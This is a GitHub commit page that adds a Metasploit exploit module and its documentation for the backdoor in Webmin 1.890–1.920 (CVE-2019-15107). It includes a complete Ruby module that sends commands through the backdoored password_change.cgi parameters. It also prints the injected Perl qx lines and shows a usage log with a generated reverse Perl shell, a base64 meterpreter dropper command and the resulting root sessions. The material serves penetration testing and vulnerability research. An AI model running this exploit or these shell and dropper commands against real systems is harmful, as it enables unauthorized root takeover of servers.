-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12219, Add Webmin password_change.cgi backdoor exploit
- Loading branch information
1 parent
afdbf62
commit b7a570f
Showing
2 changed files
with
345 additions
and
0 deletions.
There are no files selected for viewing
123 changes: 123 additions & 0 deletions
123
documentation/modules/exploit/unix/webapp/webmin_backdoor.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
## Intro | ||
|
||
This module exploits a backdoor in Webmin versions 1.890 through 1.920. | ||
Only the SourceForge downloads were backdoored, but they are listed as | ||
official downloads on the project's site. | ||
|
||
Unknown attacker(s) inserted Perl `qx` statements into the build server's | ||
source code on two separate occasions: once in April 2018, introducing | ||
the backdoor in the 1.890 release, and in July 2018, reintroducing the | ||
backdoor in releases 1.900 through 1.920. | ||
|
||
Only version 1.890 is exploitable in the default install. Later affected | ||
versions require the expired password changing feature to be enabled. | ||
|
||
## Analysis | ||
|
||
The backdoored code can compared across space and time with `diff3(1)`. | ||
|
||
``` | ||
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi | ||
====2 | ||
1:1c | ||
3:1c | ||
#!/usr/bin/perl | ||
2:1c | ||
#!/usr/local/bin/perl | ||
====1 | ||
1:12c | ||
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/; | ||
2:12c | ||
3:12c | ||
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; | ||
====3 | ||
1:40c | ||
2:40c | ||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'}); | ||
3:40c | ||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); | ||
====3 | ||
1:200c | ||
2:200c | ||
# Show ok page | ||
3:200c | ||
wvu@kharak:~/Downloads$ | ||
``` | ||
|
||
## Setup | ||
|
||
1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz` | ||
2. `tar xf webmin-1.890.tar.gz` | ||
3. `cd webmin-1.890` | ||
4. `./setup.sh` | ||
|
||
## Targets | ||
|
||
``` | ||
Id Name | ||
-- ---- | ||
0 Automatic (Unix In-Memory) | ||
1 Automatic (Linux Dropper) | ||
``` | ||
|
||
## Options | ||
|
||
**RPORT** | ||
|
||
Set this to the Webmin port. The default is 10000. | ||
|
||
**TARGETURI** | ||
|
||
Set this to the Webmin base path. The default is `/`. | ||
|
||
**ForceExploit** | ||
|
||
Set this to `true` to override the `check` result during exploitation. | ||
|
||
## Usage | ||
|
||
``` | ||
msf5 exploit(unix/webapp/webmin_backdoor) > run | ||
[*] Started reverse TCP handler on 172.28.128.1:4444 | ||
[*] Webmin 1.890 detected | ||
[+] Webmin 1.890 is a supported target | ||
[+] Webmin executed a benign check command | ||
[*] Configuring Automatic (Unix In-Memory) target | ||
[*] Sending cmd/unix/reverse_perl command payload | ||
[*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' | ||
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500 | ||
id | ||
uid=0(root) gid=0(root) groups=0(root) | ||
uname -a | ||
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux | ||
^Z | ||
Background session 1? [y/N] y | ||
msf5 exploit(unix/webapp/webmin_backdoor) > set target 1 | ||
target => 1 | ||
msf5 exploit(unix/webapp/webmin_backdoor) > run | ||
[*] Started reverse TCP handler on 172.28.128.1:4444 | ||
[*] Webmin 1.890 detected | ||
[+] Webmin 1.890 is a supported target | ||
[+] Webmin executed a benign check command | ||
[*] Configuring Automatic (Linux Dropper) target | ||
[*] Sending linux/x64/meterpreter/reverse_tcp command stager | ||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"] | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3021284 bytes) to 172.28.128.5 | ||
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500 | ||
[*] Command Stager progress - 100.00% done (819/819 bytes) | ||
meterpreter > getuid | ||
Server username: uid=0, gid=0, euid=0, egid=0 | ||
meterpreter > sysinfo | ||
Computer : 10.0.2.15 | ||
OS : Ubuntu 16.04 (Linux 4.4.0-141-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,222 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Webmin password_change.cgi Backdoor', | ||
'Description' => %q{ | ||
This module exploits a backdoor in Webmin versions 1.890 through 1.920. | ||
Only the SourceForge downloads were backdoored, but they are listed as | ||
official downloads on the project's site. | ||
Unknown attacker(s) inserted Perl qx statements into the build server's | ||
source code on two separate occasions: once in April 2018, introducing | ||
the backdoor in the 1.890 release, and in July 2018, reintroducing the | ||
backdoor in releases 1.900 through 1.920. | ||
Only version 1.890 is exploitable in the default install. Later affected | ||
versions require the expired password changing feature to be enabled. | ||
}, | ||
'Author' => [ | ||
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module | ||
'wvu' # This module and updated information about the backdoor | ||
], | ||
'References' => [ | ||
['CVE', '2019-15107'], # y tho | ||
['URL', 'http://www.webmin.com/exploit.html'], | ||
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'], | ||
['URL', 'https://blog.firosolutions.com/exploits/webmin/'], | ||
['URL', 'https://github.com/webmin/webmin/issues/947'] | ||
], | ||
'DisclosureDate' => '2019-08-10', | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
['Automatic (Unix In-Memory)', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Version' => [ | ||
Gem::Version.new('1.890'), Gem::Version.new('1.920') | ||
], | ||
'Type' => :unix_memory, | ||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'} | ||
], | ||
['Automatic (Linux Dropper)', | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Version' => [ | ||
Gem::Version.new('1.890'), Gem::Version.new('1.920') | ||
], | ||
'Type' => :linux_dropper, | ||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
)) | ||
|
||
register_options([ | ||
Opt::RPORT(10000), | ||
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']) | ||
]) | ||
|
||
register_advanced_options([ | ||
OptBool.new('ForceExploit', [false, 'Override check result', false]) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
) | ||
|
||
unless res | ||
vprint_error('Server did not respond') | ||
return CheckCode::Unknown | ||
end | ||
|
||
version = | ||
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first | ||
|
||
unless version | ||
vprint_error('Webmin version not detected') | ||
return CheckCode::Unknown | ||
end | ||
|
||
version = Gem::Version.new(version) | ||
|
||
vprint_status("Webmin #{version} detected") | ||
checkcode = CheckCode::Detected | ||
|
||
unless version.between?(*target['Version']) | ||
vprint_error("Webmin #{version} is not a supported target") | ||
return CheckCode::Safe | ||
end | ||
|
||
vprint_good("Webmin #{version} is a supported target") | ||
checkcode = CheckCode::Appears | ||
|
||
res = execute_command("echo #{token}") | ||
|
||
unless res | ||
vprint_error('Webmin did not respond to check command') | ||
return checkcode | ||
end | ||
|
||
if res.body.include?('Password changing is not enabled!') | ||
vprint_error('Expired password changing disabled') | ||
return CheckCode::Safe | ||
end | ||
|
||
if res.body.include?(token) | ||
vprint_good('Webmin executed a benign check command') | ||
checkcode = CheckCode::Vulnerable | ||
else | ||
vprint_error('Webmin did not execute our check command') | ||
return CheckCode::Safe | ||
end | ||
|
||
checkcode | ||
end | ||
|
||
def exploit | ||
# These CheckCodes are allowed to pass automatically | ||
checkcodes = [ | ||
CheckCode::Appears, | ||
CheckCode::Vulnerable | ||
] | ||
|
||
unless checkcodes.include?(check) || datastore['ForceExploit'] | ||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') | ||
end | ||
|
||
print_status("Configuring #{target.name} target") | ||
|
||
case target['Type'] | ||
when :unix_memory | ||
print_status("Sending #{datastore['PAYLOAD']} command payload") | ||
vprint_status("Generated command payload: #{payload.encoded}") | ||
|
||
res = execute_command(payload.encoded) | ||
|
||
if res && datastore['PAYLOAD'] == 'cmd/unix/generic' | ||
print_warning('Dumping command output in full response body') | ||
|
||
if res.body.empty? | ||
print_error('Empty response body, no command output') | ||
return | ||
end | ||
|
||
print_line(res.body) | ||
end | ||
when :linux_dropper | ||
print_status("Sending #{datastore['PAYLOAD']} command stager") | ||
execute_cmdstager | ||
end | ||
end | ||
|
||
=begin | ||
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi | ||
====2 | ||
1:1c | ||
3:1c | ||
#!/usr/bin/perl | ||
2:1c | ||
#!/usr/local/bin/perl | ||
====1 | ||
1:12c | ||
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/; | ||
2:12c | ||
3:12c | ||
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; | ||
====3 | ||
1:40c | ||
2:40c | ||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'}); | ||
3:40c | ||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); | ||
====3 | ||
1:200c | ||
2:200c | ||
# Show ok page | ||
3:200c | ||
wvu@kharak:~/Downloads$ | ||
=end | ||
def execute_command(cmd, _opts = {}) | ||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), | ||
'headers' => {'Referer' => full_uri}, | ||
'vars_post' => { | ||
# 1.890 | ||
'expired' => cmd, | ||
# 1.900-1.920 | ||
'new1' => token, | ||
'new2' => token, | ||
'old' => cmd | ||
} | ||
}, 3.5) | ||
end | ||
|
||
def token | ||
@token ||= Rex::Text.rand_text_alphanumeric(8..42) | ||
end | ||
|
||
end |